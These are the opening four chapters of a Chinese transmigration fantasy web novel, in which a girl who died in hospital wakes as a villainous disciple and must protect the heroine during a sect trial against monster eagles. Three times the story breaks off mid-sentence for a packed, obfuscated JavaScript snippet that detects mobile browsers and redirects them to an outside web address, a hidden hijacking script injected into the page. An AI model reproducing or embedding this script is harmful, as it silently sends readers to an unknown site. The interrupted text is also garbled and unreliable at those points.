《师妹她过分撩人》 1. 第 1 章 暮色四合。 大片大片红霞似血映杜鹃,铺满整个天际,连绵至虞知鸢朦胧模糊的视野中。 这是……哪里? 脑中才刚闪过疑惑,远处蓦地传来一道惊恐的叫喊声。 “注意防御!” 与此同时,空中荡开一圈儿冰冷的气息,一股强烈的威压由远及近,瞬间便到了眼前。 虞知鸢浑身一凛,几乎是本能地抬起了手。 下一瞬,一道青碧色的剑光,好似经天长虹拔地而起,挟带着刺耳的呼啸直直刺入那道影子。 那影子发出一声尖利的怪叫,就像是猿猴和夏蝉声音的结合一般刺耳,而后它翅膀煽动,带起风的同时,迅速飞离了剑光的攻击范围。 这是什么鬼东西啊啊啊! 虞知鸢手脚并用爬起来,周遭的一切便也随之映入眼帘。 茫茫风沙中是一片枯黄野草,焚烧过的木头屋子上百烟犹残,焦黑的断垣残壁满目疮痍,遍地的尸骸或躺或趴,或恐惧骇然、或狰狞不甘。 看上去,这里像是一处普通的村庄,只是如今却血流成河,无一活口。 这副人间炼狱的模样,让虞知鸢险些惊叫出来,微抬的眼皮都控制不住地抽动了两下。 她刚刚不是还在医院吗? 怎么眨眼的功夫就出现在这么个奇怪又恐怖的地方? 这里是地狱?还是她被拉入了什么无限流恐怖游戏? …… 思绪混乱交错,各种猜测轮番在脑中闪过,最后被一道夹杂着“滋滋”电流声的机械音打断: 【世界传送成功,请宿主接收剧情内容和原身记忆。】 随着冷冰冰的声音落下,虞知鸢脑海中开始不断涌起纷乱的文字和画面,二者糅杂在一起,让她觉得脑子都快炸了。 她痛苦地闭上眼,伸手按揉了下太阳穴。 方才远处飘来的那道声音又一次突兀响起:“小心!它们过来了!” 它们? 谁? 虞知鸢茫然地顺着声音传来的方向看了眼,而后身体比她理智更快地反应了过来。 在她还没意识到自己要做什么的时候,她已经双手微合,做了个奇怪的手势抵在了身前。 随着她指尖的跃动,似乎有什么东西在她掌心汇聚,逐渐凝结成一道隐约的光芒。 她“咦”了一声,还没弄清楚那是什么,汹涌而来的气浪已经扑面而至,瞬间将她掀飞。 身体不受控制地翻滚了好几圈,直到身体撞在一堆尸体上,停了下来。 与此同时,识海中那道机械音再次响起:【世界剧情传送完毕,请宿主开始拯救任务。】 随着虞知鸢重新睁开眼,原身的记忆与系统传送的剧情犹如两个完美契合的齿轮,在脑中一一对应啮合起来。 她总算弄清楚了自己现在是个什么情况。 不是地狱,也不是恐怖游戏,她难得赶了回时髦,穿书了。 据系统给出的信息,她现在所在的世界是一本名叫《问离》的大女主仙侠文。 书中的女主是一个名叫姜辞的美强惨少女。 姜辞出身于修真界众多修仙家族中的姜氏一族,在她十多岁时,家族一夜之间几乎被人屠尽,仅余她一人苟活于世,而后她在机缘巧合之下进入修真界第一大宗凌云宗,无奈她灵脉受损,虽拜入凌云宗数年,修为却毫无寸进,以至于时常被同门弟子欺辱打骂。 但即便处于这样的境地,心性坚韧的女主也始终不曾放弃。 她道心坚固,在经历重重阻碍和磨难之后,终于成为修真界令人仰望的存在,她拯救了苍生,同时也收获了美好圆满的爱情。 但任谁也想不到,在姜辞飞升前夕,她被人暗算引发心魔,渡劫不成反被心魔吞噬,最终毁灭了这个书中世界。 好好的一本大女主爽文,到最后却是这么个结局,令人无比唏嘘。 而系统所说的拯救任务,就是要她为女主的修炼之路保驾护航,阻止女主因心魔而黑化,改变原文的结局。 虞知鸢听到这里只是无奈苦笑。 太荒唐了。 这事要是换成别人或许还行,但她一个从小就病病歪歪,活了十八年,有十多年都住在医院的病秧子,能不能在这个危机重重的修真界活下去都是问题,更不要说保护女主了。 【宿主不必担忧。宿主的神魂已与原身身体融合,这具身体很健康。】 虞知鸢这才慢半拍地意识到刚才发生了什么事。 那剑是她挥的? 她飞了这么远,竟然还……没摔死! 她抬手摁住胸口。 砰、砰、砰。 心脏的跳动强而有力。 她甚至还能感知到体内有一股温和的气息在流转,滋养着这具身体和体内经脉。 啊啊啊这不是在做梦吧? 系统适时插话:【是真的。宿主现在的身体情况足够支撑宿主完成任务。】 任务啊…… 虞知鸢压住心底的那股兴奋劲,想到曾经看过的穿书小说,问:“要是完成任务,我是不是可以有奖励?我能回到原来的世界吗?我可以变得健康吗?” 系统立刻泼了她一桶冷水:【宿主在原世界因心脏骤停而亡,尸身已被火化,无法再回到原来的世界。】 “……” 虞知鸢无语凝噎。 行吧,来都来了,回也回不去,那她还能咋地? 她思考一番,又问道:“那要是完不成任务呢?” 系统冷冰冰的机械音不知为何顿了下,而后才回答了她的问题:【宿主若是完不成任务,这个世界将会因女主的黑化而坍塌,包括宿主在内的一切都将不复存在。】 好,好得很。 这是赤果果的威胁啊! 虞知鸢“呸“了声,却也不得不老老实实面对现实。 十多年她都拖着那具病弱的身体撑了过来,没道理现在拥有了健康的身体,却反而轻易放弃。 她抹了抹脸上沾上的血水,认真回忆了下书里和这个跟自己同名同姓的恶毒炮灰相关的剧情。 作为一个炮灰,原身在书里出现的篇幅很短,仅仅在前三章,她就因为在一次试炼中想要拉女主作垫背,反而把自己给交代了。 此时再结合原身的记忆,虞知鸢很轻易就推测出来,她刚才穿过来的节点,同时也是原身身死的节点。 也就是说,她后期的一举一动,都不会受到剧情的约束,毕竟在原文中,她已经是个死人了。 既然如此…… 她抿住唇,问系统道:“如果我能完成任务的话,是不是就可以在这个世界里活下去?” 系统肯定道:【是。只要女主能够顺利飞升,宿主就可以脱离剧情限制,在本世界中按照自己的心意继续生活。】 虞知鸢忽然觉得让她保护女主什么的,好像也不是不可以? 她轻咳一声,压下不自觉上扬的嘴角,端出一副淡然表情:“那我该怎么……” 话没说完,一道刺耳狂躁的嘶吼声陡然响起,周围的空气也随之狂烈起来。 虞知鸢抬头看向天边,忍不住倒吸了口冷气。 最后一抹鲜红色的霞光已被混沌的云层吞没,浓郁的黑暗不知不觉便笼罩了下来,而在这一片黑暗中,一大片隐约的银白色正朝此处覆盖而来。 结合系统传输的剧情,虞知鸢很快就意识到那就是二级妖兽玄羽雪雕雕群,方才攻击她的那道影子也是其中之一。 只是一只她都对付不了,更何况是一群! “快闪开!” 伴随着远处一声大喝, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829668|158902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有半个人大的巨嘴从黑暗中猛地蹿出,如刀的尖喙速度极快地啄向一处黑影。 “噗”的一声,和尖叫声并起的是喷出的鲜血。 伴随着这一幕,虞知鸢终于锁定了黑暗中几个和她一样躲藏着的身影。 与此同时,无数玄羽雪雕疯狂扑咬而来。 法术符箓的光芒连同呼喊大喝声霎时混作一团。 玄羽雪雕的体形庞大,足足有两个人的身高,身形却十分灵活。 唯一的弱点是不聪明,有点呆傻,领头雕做什么就跟着做什么,只晓得横冲直撞的,不达目的不罢休。 但它们最大的优势是群体活动,只要触怒其中一只,便会受到群体攻击,很少有人会笨到主动去挑衅。 显然,这个村子里的人不知做了什么触怒了玄羽雪雕,才会导致如今村中这副血流成河的惨状。 虞知鸢闭了闭眼,回忆起刚才在空中翻滚的感觉,恨不得就这么躺在地上直接装死算了。 但显然,系统并不想让她装死。 【女主即将遇到危险,请宿主立刻找到女主并保护她。】 虞知鸢嘴角忍不住抽了下:“那个……能不能给点时间适应一下?原文里也没有人保护女主啊,她应该死不了吧?最多就是受那么一点,咳……比较严重的伤罢了。” 系统冷漠道:【检测到宿主消极罢工,宿主意识将被抽离本世界。倒计时开始,十、九、八、七……】 “不是,咱一定要这么刚硬吗?不能打个商量吗?” 【四、三、二…】 “停!” 虞知鸢咬住后槽牙,恨恨道:“我现在就去。” 话是这么说,但眼下正是一片混乱,她一起身,那些玄羽雪雕就像闻见味的苍蝇一样向她飞来。 虞知鸢一边手忙脚乱应付玄羽雪雕,一边在系统的指引下锁定了女主的所在。 那是一道纤长挺直的身影,雪青色的衣衫穿在她身上,便如傲霜凌雪的翠竹一般亭亭。 只是这根翠竹也傲然了点吧? 头顶那玄羽雪雕都快戳到她脑袋了,她还那么挺着背,一动也不动。 好歹你倒是也弯个腰往旁边让一让啊! 情急之下,虞知鸢随手从芥子袋里抓出一张符扔出去,火光闪过,暂时逼退那只靠近姜辞的玄羽雪雕。 而后她一跃而至姜辞身边,抓住了她的手腕想要把她拉到自己的护盾范围内。 “陆师妹,小心点,躲在我身……” 诶?怎么拉不动? 顾不上细想,虞知鸢转而又往前挪了两步,主动挡在了姜辞身前。 身后的姜辞依旧没出声也没有挪动脚步,只微微垂着头,直到看清挡在身前的那抹纤细背影是属于谁的,那双冷然的眸子才微微闪了下。 啊,竟然没死啊。 他垂在身侧的手指蜷了蜷, 看来他现在,还真是不中用了。 结界外,数不清的玄羽雪雕四处乱撞,一片兵荒马乱。 虞知鸢努力挥剑斩杀冲过来的玄羽雪雕,但原身显然在剑道上并不是太精通,杀伤力远不如她随手从芥子袋里扔出来的符箓来得大。 四处一片混乱,大多数弟子只顾得了自己,也便没有注意到虞知鸢这边的情况。 但此时正被虞知鸢护在身后的姜辞却是把这一切尽收眼底。 他在凌云宗浑浑噩噩过了很久,能在他贫瘠荒凉的记忆中留下印象的人并不多,而眼前这人,便是这极其少数的其中之一。 愚蠢、弱小、可怜。 今日的她更甚,简直蠢到没边了,才会让他当时忍不住动了手。 不过,眼前这一个…… 倒是很有些不同呢。 姜辞垂着眼皮,掩在细长眼睫下的眸底蓦地闪过一丝兴味。 2. 第 2 章 数不清的玄羽雪雕犹如铺天盖地一般。 一连将芥子袋中的符箓用尽,虞知鸢才勉强挡住了这一波袭击。 她长到快二十岁,大半的时间都是在病床上度过的,今日经历的这番比她从前加起来的所有都刺激太多,紧张得她心都怦怦乱跳,浑身直冒冷汗。 幸好除了符箓,原身的记忆中尚有不少法术法诀,在她接收原身记忆的同时,这些法术法诀也像刻进了她脑子一般,只是此时用起来也难免生疏。 她这头一口气都还没松,迎面又蓦地冲过来一只玄羽雪雕,虽然有护盾挡着,虞知鸢仍是惊得往后退了两步,不料一下便撞到身后人的身上。 嚯! 这女主的身板怎么硬得跟墙一样。 虞知鸢心中腹诽,手上动作也没停,一个水刃术丢出去,横扫过又一波飞来的玄羽雪雕,却仍有几只躲过攻击,一头撞上了防护盾。 防护盾经不住这样密集的撞击,隐隐开始有溃散的迹象,而身后姜辞依旧跟个木桩子似的杵在原地。她的背都贴已经到他身上了,他也没挪动半步。 虞知鸢急得话都说不清楚了: “姜师妹,我快不行了,你倒是动一动啊……快点,我们得找个地方躲一下。” 姜辞垂眸看着此时几乎已经整个窝在在胸前的人,微不可察的一声轻笑弥散。 “你以为能躲到哪里去?” 微凉气息拂过耳廓,虞知鸢才意识到方才是姜辞在说话。 看着眼前前赴后继仿佛怎么杀都杀不完的玄羽雪雕,虞知鸢简直欲哭无泪。 “没地方躲吗?” 她话音刚落,有什么东西自她身后骤然飞出。 虞知鸢下意识就抬起手想要一掌拍飞。 “不想被玄羽雪雕追杀的话,可要接住了。” 耳边的声音低低哑哑的,带着一丝拖长的尾调,随着温热的气息一同落入耳中。 虞知鸢忍不住浑身一颤,手中握着的剑都险些掉下来。 姜辞的这一打岔,导致她那势如千军的一掌也打歪了。 掌风掠过,天青色的布裹被吹开一角,露出里面有着云白花纹的蛋壳,大约有人的脑袋瓜大小。 这是……玄羽雪雕的蛋! 几乎在一瞬间,虞知鸢就明白了这些玄羽雪雕为什么会攻击他们。 想是这村中有人或是捡或是偷了这枚蛋,才会遭到玄羽雪雕的报复,引来这场灭村之祸。 之前这蛋尚且完好无缺,玄羽雪雕就如此暴躁,要是蛋被她打破了,恐怕她今天就要被这些雪雕在身上啄个百八十个窟窿了。 虞知鸢浑身一凛,立刻往前一扑,抢在布裹落地前的最后一瞬捧住了。 好险! 她憋着一口气,颤颤巍巍爬起来,正想着要怎么才能把蛋和平友好地还给这些玄羽雪雕,才一起身,一道硕大无比的白影已经打破护盾,整个向她倾盖了下来。 是领头雕! 惊骇之下,虞知鸢本能地抬手掐诀,调动体内灵力去抵挡。 身边的空气突然像是液体一般扭动出一个透明的漩涡,同那火焰撞击在一起,轰然一声巨响。 “领头雕出现了,大家一起上!” 耳边高亢而又尖锐的蜂鸣声中似乎夹杂了数道呼喊声,无数声音从耳膜上飞快地划过。 四面八方挟裹着灵气的气流汇聚而来,伴随着沉闷而巨大的痛苦嘶吼,空气里不时发出雷鸣般的爆炸声,猩红色的泥土在暴风里旋转飞舞。 眼前的一切场景,都晃动成拉长的模糊光线,虞知鸢什么都看不清楚,眼里充斥的只有一片浑浊的光,胸膛内气血灵力不断翻涌,就像神魂被撕裂后又生生糅合在一起的杂乱痛觉。 意识混沌中,肩膀上传来一个力道,将她猛地往后一拖。 偷袭来得太过突然,身体的本能快过思考,她没有半分犹豫地抬腿横扫。 一连串动作行云流水,她甚至都还没反应过来,脚下已经死死踩住了偷袭她的那东西。 疼痛也在这一瞬间蓦然褪去,脑中的无数声音平静下来,隐隐约约汇成一句不断重复的机械音,由远及近,渐渐清晰: 【……女主!警告……主不……伤害女主!警告!宿主不允许伤害女主!】 谁伤害女主? 虞知鸢立刻反驳:“我哪里伤害女主了,你别胡说八——” 等等,她刚才好像、大概、也许……是踢了个人? 虞知鸢思绪一顿,僵硬着脖子缓缓低下了头。 飞扬的尘土逐渐散去后,她的视野很快变得清晰。 被她踩在脚下的那人身形纤长,脸朝天背朝地,一头凌乱乌黑的长发铺散开来,有几缕沾上了血色,正紧紧贴在那纤薄却遒劲有力的腰肢上,同时也是…… 她的脚下。 虞知鸢吞了口口水,视线禁不住地落到那张被血色和尘土覆盖了大半的脸上。 她看不清这张脸上的表情,但能看到她唇角缓缓牵起,像是笑了下。 “师姐,踩得还舒服吗?” 舒服你个头啦! 虞知鸢心中无能狂呼,一边火速收回脚,连蹦带跳往后跃了一大步。 姜辞唇边依然噙着点似有若无的笑,盯着她慢腾腾坐起身。 虞知鸢觉得自己现在必须得做点什么了。 于是,她扯了扯嘴角,朝姜辞露出一个自认为无比和善的笑容。 “姜师妹,你怎么突然躺到地上去了呢,地上多凉啊。” 姜辞那线条利落的眼尾微微一挑,从喉咙深处溢出一声低笑:“这么说来,倒还是我自己的问题了?” 虞知鸢:??? 她深吸口气,“呵呵”干笑一声:“师妹误会了,师姐不是这个意思。” “不是吗?”姜辞看着她居高临下望着他的视线,意味深长道:“我还以为师姐向来都喜欢对我用这样的把戏。” 虞知鸢一阵心虚。 虽然从前折辱女主的那些事不是她干的,但谁叫她现在在别人的眼里就是那个心思恶毒,以折辱别人为乐的“虞知鸢”呢? 她现在向女主认错还来得及吗? 虞知鸢简直欲哭无泪。 她蓦地弯了膝盖蹲在姜辞身侧,用好不容易空出来的一只手猛地攥住她的手腕。 “师妹,我要是说我不是故意的,”她扯了扯嘴角,露出一个十分勉强的笑容,小心翼翼问道:“你……信吗?” 贴在他手腕内侧的掌心柔软温热。 姜辞几不可察地皱了下眉,试图抽出自己被虞知鸢抓住的手,却被她更用力地握住了。 她垂着眸,有月光落在她如鸦羽一般的眼睫上,那双澄澈透亮眸看着他,明明灭灭。 恰有一阵风来,扬起她发间沾了血的碧色发带,拂过他的鼻尖。 淡淡的血腥味中似乎带了些别的味道。 倒也不难闻。 姜辞与她对视。 少倾,几不可察的一声轻笑溢出嘴角。 “既然师姐都这么说了,我肯定相信师姐。” 不愧是女主,果然大气! “我就知道师妹最是明白道理!”虞知鸢心中欢呼一声,一鼓作气,趁机作出一副幡然悔悟的样子:“以前都是我的错,不该那样子对师妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829669|158902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我以后一定会改的。师妹一定可以原谅我的吧?” 她说着话,眉宇间的狡黠之色也愈发灵动。 和从前那个对着他总是一脸嫌恶的人,判若两人。 可又偏偏就是同一个人。 他可不记得从前他那能够将人魂魄都打碎的一掌,还有能让人脱胎换骨的功效。 是在演戏吗?还是想换个花样对付他? 姜辞眸光闪了下,在她抓着他的那只莹白如玉的手上停顿少倾,羽睫底下满是讥诮:“那是自然,我不会怪师姐的。” 之前那种日子他也确实腻了,左右闲来也无事,不如就陪她玩玩。 虞知鸢不知道姜辞在想什么,听了这话,忍不住地嘴角上扬,连语气都不自觉地轻快几分。 “哎,师妹可别坐在地上了,师姐扶你起来啊。” 姜辞不置可否,顺着她拉他的力道站起身后,方才要抽出手,那抓着他的那抹温热却先一步离开了。 虞知鸢还是记得眼下的处境的,她没注意到姜辞一瞬间的停顿,只顾用双手稳稳捧住怀中那枚玄羽雪雕的蛋,转头打量起四周的状况。 这一番混战过后,满地都是玄羽雪雕的残肢断翅,空气中充斥着一股浓郁的血腥味。 半空中仍有零零散散的玄羽雪雕在盘旋,但因失去了领头雕,它们似乎很是茫然,不多久便四散而开。 这让如今仅剩的十来号人都大大松了口气。 稍稍缓过来劲后,众人纷纷朝着领头雕尸身所在的方向。 姜辞见面前的女子就这么呆愣楞地站在原地看着,略微扬眉,难得好心地提醒了一句:“不想没事找事的话,我劝你最好赶紧把那蛋收起来。” 清凌凌的声音从额头落下来,好像一涌冷泉坠落石壁,打得虞知鸢的耳朵一个激灵。 她掀起眼皮,这才慢半拍地发现姜辞的身量实在是高,站在她身前,她整个人都像被拢在了她的阴影里。 现在的女主都是这样让人仰望的身高吗? 虞知鸢腹诽一句,仰起脸,打量姜辞。 姜辞看起来比寻常女子更加瘦削,下颌线条清冷瘦削,五官被血色尘土覆盖,让人瞧不大清楚,但那双此刻正倒映出她脸庞的双眸中,幽沉的眸色比这漫天飞雪还要寒凉。 其实她脑中是有原主关于姜辞的记忆的,只是那记忆在真人面前终究显得模糊而遥远,远不如此刻她站在她面前垂眸看她带给她的压迫感强。 柔软温和的视线同那双像是寒潭幽泉浸着冷色般的凤眸相交。 虞知鸢莫名呼吸一紧,不自觉地往后退了一步。 “还不收起来吗?”姜辞垂着眼帘看她,鸦羽长睫在眼下投落暗影,似笑非笑地:“要被人看见了哟。” 虞知鸢“啊”了声,茫然道:“不能给人看到吗?” 她也知道这颗蛋是引发玄羽雪雕围攻的罪魁祸首,可这蛋又不是她偷的,也不是她找到后又隐瞒众人的,为什么不能给人看到? 姜辞勾了勾唇角,笑起来:“能啊。” 她懒洋洋地往后仰了仰,嗓音淡淡的:“毕竟这蛋是我找到后藏起来的,与师姐无关。师姐若是想拿这事与人邀功,我自是不会阻拦。” 虞知鸢:“!?!” 她想也不想立刻三连否认:“我没有,不是我,我不想!” 话落,又讨好地把蛋往姜辞的方向递了递,以只有他们两个人才能听见的声音,鬼鬼祟祟道:“原来这蛋是师妹找到的,那师姐还是物归——” “原主”两个字还没说出口,旁边忽然响起窸窣的轻微脚步声。 “虞师姐,你没事吧?” 3. 第 3 章 心念一转间,捧在手上的蛋便被收入了随身的芥子袋中。 虞知鸢佯装镇定地转过身,抬眸瞧了眼来人。 是个同样身着凌云宗外门弟子服的女子。 有些眼熟,但叫不上名字,想来与原主的交情并不深。 她朝她点了下头,面无表情道:“多谢师妹关心,我没事。” 那人看看她,又看看一旁的姜辞,冷不丁开口道:“姜辞,我都以为今天看不到你了。” 她意味不明地笑了声:“没想到虞师姐都拿你当肉盾了,你竟然也没缺胳膊少腿,还这么活蹦乱跳的,你这贱命果然硬得很嘛。” 虞知鸢:“???” 那人还在继续:“下次再遇到这种事你可得跟紧虞师姐,主动点,有点眼力见知道吗?” 虞知鸢觉得自己要裂了。 不是,你这说的是什么话! 我跟你很熟吗? 什么肉盾,跟她可是半毛钱关系都没有!你怎么敢当着女主的面这么胡说八道啊! 虞知鸢嘴角一抽,一双眼控制不住地在姜辞脸上瞟过去…… 她也正看向她,眸中深沉,脸上似乎还挂着一丝戏谑的笑。 …… 完了,姜辞竟然在笑? 她是在讥讽她刚才说的那些话吗? 虞知鸢心头猛地一跳,急忙打断一旁还在喋喋不休的人:“这位……师妹说笑了,我可没有那样的想法,我怎么会是那种人呢。呵……呵呵……” 那人却是冲她眨了眨眼,面上作出一副心照不宣的表情:“是是是,虞师姐才不是这种人,虞师姐心里肯定是把姜辞当成救命恩人的。” 虞知鸢:“……” 这话怎么听起来有些不对劲? 她动了动唇,还想再解释点什么,这时却有有七八个弟子往这边围拢了过来。 接踵而过间,一行人招呼走了方才阴阳怪气那人,却无人搭理她和姜辞。 这倒也并不奇怪。 按照一般大女主升级流文的设定,女主在刚出场时总是不受人待见的。 至于她…… 书里几乎完全没有从原身这个恶毒炮灰的视角描写过什么,但此时已经拥有原身记忆的虞知鸢对原身生世倒是有几分了解。 原身生母是个凡人,早在她幼时便因故去世。 谁也不知道的是,她的父亲,却是修真界那位正道宗门之首,凌云宗的宗主虞瀚玥。 原身是在母亲死后才被虞瀚玥从凡间接到凌云宗的,她虽冠了虞瀚玥的姓,书里却从没有人将这两个身份地位天差地的人联系到一起。 但偏偏,虞知鸢就是虞瀚玥的私生女。 虞瀚玥将虞知鸢接回了凌云宗,却不欲因她的出现影响到他的生活,便将彼时才四五岁的虞知鸢扔在了外门,自己不多久便又与人结了道侣,有了另一个女儿,对在外门的原身就更是不闻不问。 原身天赋不算好,又从小无人照看,处处被压一头,遭人看不起,以至于她扭曲了性格,变得暴戾又恶毒,以欺辱折磨比她还不如的弟子为乐。 女主姜辞便是其中之一。 这么长此以往,凌云宗里比她优秀的人看不上她,比她不如的人更是厌恶她,导致她在外门的人缘极差。 即便书里她的死,也不过轻描淡写的一句话。 现在虞知鸢成了她,心里也禁不住产生了些说不清道不明的情绪,像是难过,又像是不甘。 是原身残留在这具身体里的感受影响到她了吗? 虞知鸢晃了晃脑袋,想要将这种奇怪到令她心慌的情绪从身体里晃出去。 她是虞知鸢,不是“虞知鸢”,她不想,也不能被“虞知鸢”影响。 视线晃动间,她忽然被几株像是藤蔓般疯狂的锋利冰晶吸引。 那银白色的冰晶自她方才站立过的地方而生,又从那个位置一路向前延伸至领头雕倒下的地方,最后又从领头雕的胸口处密密麻麻地扎了出来,开出一朵洁白晶莹的霜花。 那霜花的花瓣坚硬而又锋利,从它的胸口拥挤而出,血淋淋的内脏和肠子,就挂在冰晶一般的霜花上,很快便被同样的冰晶包裹住。 这……不会是她干的吧? 她隐约记得刚才领头雕向她扑过来的时候,从她掌心迸发出来的那股凛冽寒气。 再看此时已经围拢过来的十几名弟子正在七嘴八舌地讨论究竟是谁杀了那只领头雕,虞知鸢总算想起来一件事。 她现在所在的情节正是书中开篇部分,也就是凌云宗每十年一次的内门弟子选拔试炼。 这次选拔一共有两重试炼,而此时此地,正是两重试炼中的第一重。 在这一重试炼中,所有参加选拔的外门弟子会被随机分为几批,投入神器界域骨镜制造的幻境中。 进入幻境后,他们要做的就是杀死其中存在的妖兽。 通常来说,这第一重试炼难度并不会太大。 但也许是因为剧情需要,又或者别的什么原因,在女主进入的这个世界中,原本只是普通二级妖兽的玄羽雪雕竟突然狂化了,导致进入幻境的弟子死伤惨重,最后…… 系统这时候忽然出声:【女主姜辞在濒死时爆发强大灵力,凭借炼气三阶的修为,成功击杀玄羽雪雕的领头雕,自此开启她一路打怪升级的凤傲天之路。】 虞知鸢:“……我现在躺下装死还来得及吗?” 之前把女主踩在脚下这事听上去就已经不是一件聪明人会做的事,现在好了,她竟然抢了本该属于女主的风头! “明明按原剧情走就行,”虞知鸢咬牙切齿:“可你,我的朋友,执意让我去救女主,现在弄巧成拙了吧?” 系统像是看出来虞知鸢似乎又产生了消极怠工的情绪,用冷冰冰的机械音安慰道:【宿主的任务是保护女主,督促女主修炼,早日飞升。即便剧情产生偏移,也不影响宿主的主线任务。】 虞知鸢思考片刻,明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829670|158902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白了系统的意思:“也就说,只要能完成任务,我就算完全不需要按照剧情走也没关系?” 系统沉默了下:【理论上是这样,但宿主要是按照剧情走,可以规避很多风险。】 虞知鸢:“懂了。” 她侧了侧眸,余光瞥见从方才起就一直低头沉默着站在一侧的姜辞,忽然计上心来。 既然现在还没人知道那道寒霜术是谁使的,那不如……就还是按照原剧情走? 打定主意,她迅速伸出手,指着地上的冰晶,先发制人道:“咦?我刚看到了,这领头雕好像是姜辞杀的。” 这话一出,七嘴八舌正在议论的弟子们霎时顿住,空气都默了一瞬。 少倾,讥讽嘲笑声如海浪一波又一波拍了过来。 “呵!一个灵脉滞涩的废物,怎么可能使得出灵力如此精纯的寒霜术?” “看她,以为这次跟着我们,就能通过试炼成为内门弟子了?” “她还真当自己是个什么厉害人物了不成?也不去照照镜子,真是让人笑掉大牙。” …… 虞知鸢心如死灰。 她刚刚,是自己在作死吗? 她僵硬地转动脖子去看姜辞,好在姜辞并没有看向这边。 她只是微微垂着头,似乎对这些话充耳不闻,又或者是习以为常。 众人笑起来,忽地又转头看向虞知鸢: “不是我说,虞师姐,你自己见识浅薄到连姜辞到底有几斤几两重都看不出来也就罢了,何必还说出来让人笑话呢。” “说起来,虞师姐在外门也待了有十多年了,如今却还只是炼气二阶的修为,虞师姐不知道人家姜辞炼气三阶的能力,倒也是正常。” 又是一阵哄笑。 虞知鸢:“……” 好了,她现在对自己在凌云宗是个什么地位有深刻体会了。 她和姜辞也就半斤八两,谁也不要笑话谁了。 怪不得原身找到机会就欺负姜辞,那是因为她能欺负的人可能只有姜辞了吧。 “哎,我说姜辞啊,你等会儿可得跟紧了咱们虞师姐,虞师姐还得靠你保护,你可是她的救命恩人。” “要我说,我们这几个才是她们两个的救命恩人才对,没有我们,就凭她们能活到现在?” …… 姜辞默不作声地听着人群中的哄笑声,凌乱的长发垂下来,遮住了他的面容,以及他看向虞知鸢时眼底的探究。 救命恩人吗? 也算是吧。 不过让他好奇的是,一个从前资质平平,术法修习得更是半点都拿不出手的人,为何能够突然使出灵力如此精纯的寒霜诀? 是她之前出于某种原因,像他一样隐藏了实力,还是……夺舍? 但她神魂的气息与之前仿佛并无二致。 他微眯双眸,上挑的眼尾弯成好看的弧度。 呵,不管是哪种,倒真是让他觉得越来又有趣了。 4. 第 4 章 “行了,都别开玩笑了。”人群中,蹲在领头雕身边察看的男子这时站了起来,打断了众人的议论。 有人迫不及待追问:“林师兄,怎么样,能辨认出来这寒霜术出自谁手吗?” 方才玄羽雪雕群攻击的场面实在混乱。见识了领头雕的可怖,十多个弟子都不管三七二十一往这边狂扔法术符箓。 而杀死领头雕的这道寒霜术属于低阶法术,当时使出来的就有好几个弟子。 当然,这道寒霜术中蕴含的灵力十分强悍,瞧着并不像是他们如今的修为能使出来的。 但要是这么说的话,这里的弟子除了林喻师兄外全都尚未筑基,林喻师兄又说不是他,那谁还能使得出来? 兴许就是他们其中一个突然灵力爆发了吧。 又说不准,这个人就是自己呢? 一时之间,众人的思绪都止不住地翻飞。 林喻却是摇了摇头,温声道:“方才大家都出了不少力,虽眼下辨不出杀死领头雕的寒霜术出自谁手,也不影响我们通过这第一重试炼。” “师兄说的是。” 他们虽有几分遗憾不甘,却也明白此事无需较真。 虽然谁都希望杀死领头雕的人是自己,但修炼一途终究靠的是自己,该是谁就是谁,冒认对自己也并没有任何好处。 更何况林喻是进入这个幻境的弟子中修为最高的一个,也是外门弟子中的佼佼者,就连凌云宗的外门长老都对他另眼相待。所有人都知道他必定能同错此次选拔试炼进入内门,他的话自然也无人会去反驳。 林喻朝天边看了眼,“想来,这次试炼也该结束了。” 此时已近三更天,夜色愈发浓郁。方才仅剩的几只玄羽雪雕也不知何时已经散去了,露出一轮高挂天际的银月。 银白色的光芒倾洒在远方无尽山脉中,时不时传来几道沉闷兽吼,惊得林中飞鸟掠起。 进入幻境一整日,此时方才真正松了口气。 众人自远处收回目光,你看看我,我看看你,眸底俱都露出了点笑意,通过这第一重试炼,就意味着他们离内门更近了一步,如何能不高兴。 但虞知鸢就不大高兴了。 折腾刚才这么一回,白遭了一通的冷嘲热讽,剧情却没按照原文走下去,说不定还败完了她才在姜辞那里刷的好感度…… 唉,人生啊,为何会如此艰难? 她悄悄看了眼姜辞,自以为不着痕迹地往她身边一点点蹭过去…… “虞师妹可有受伤?” 虞知鸢:“?” 虞师妹……是在叫她? 虞知鸢怔了下,转过头。 林喻不知何时出现在了她的身侧,他身姿挺拔如柏,玉冠束发,眉眼间带着淡淡的笑意,正轻垂着眼睫看她。 